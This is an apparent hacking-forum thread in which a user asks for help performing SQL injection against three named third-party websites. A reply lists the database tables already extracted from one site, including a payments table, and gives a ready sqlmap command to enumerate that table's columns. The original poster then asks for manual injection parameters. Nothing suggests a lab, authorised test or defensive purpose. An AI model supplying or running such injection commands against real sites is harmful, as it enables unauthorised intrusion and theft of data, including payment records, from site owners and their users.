Need help in sql injection

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Greetings,

I need assistance in sqli , I'm unable to inject . Looking for help from master to learn .


http://skshivkumarsoni.com/collectionlist.php?id=4
http://www.java-samples.com/showtutorial.php?tutorialid=576
http://www.treniyusufmansur.com/pendaftaran.php?id=001
[/ CODE]

Regards
Expire

[h3xp1017]

↑ (https://antichat.live/posts/4094037/)
I'm unable to inject .


Database: mindyaco_java

[6 tables]

+------------+

| articles |

| comment |

| comments |

| payments |

| testpapers |

| tutoria |

+------------+

sqlmap -u "http://www.java-samples.com/showtutorial.php?tutorialid=576" --random-agent -D mindyaco_java -T payments --columns

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Thank you so much , I would appreciate if you you send me manual injection parameter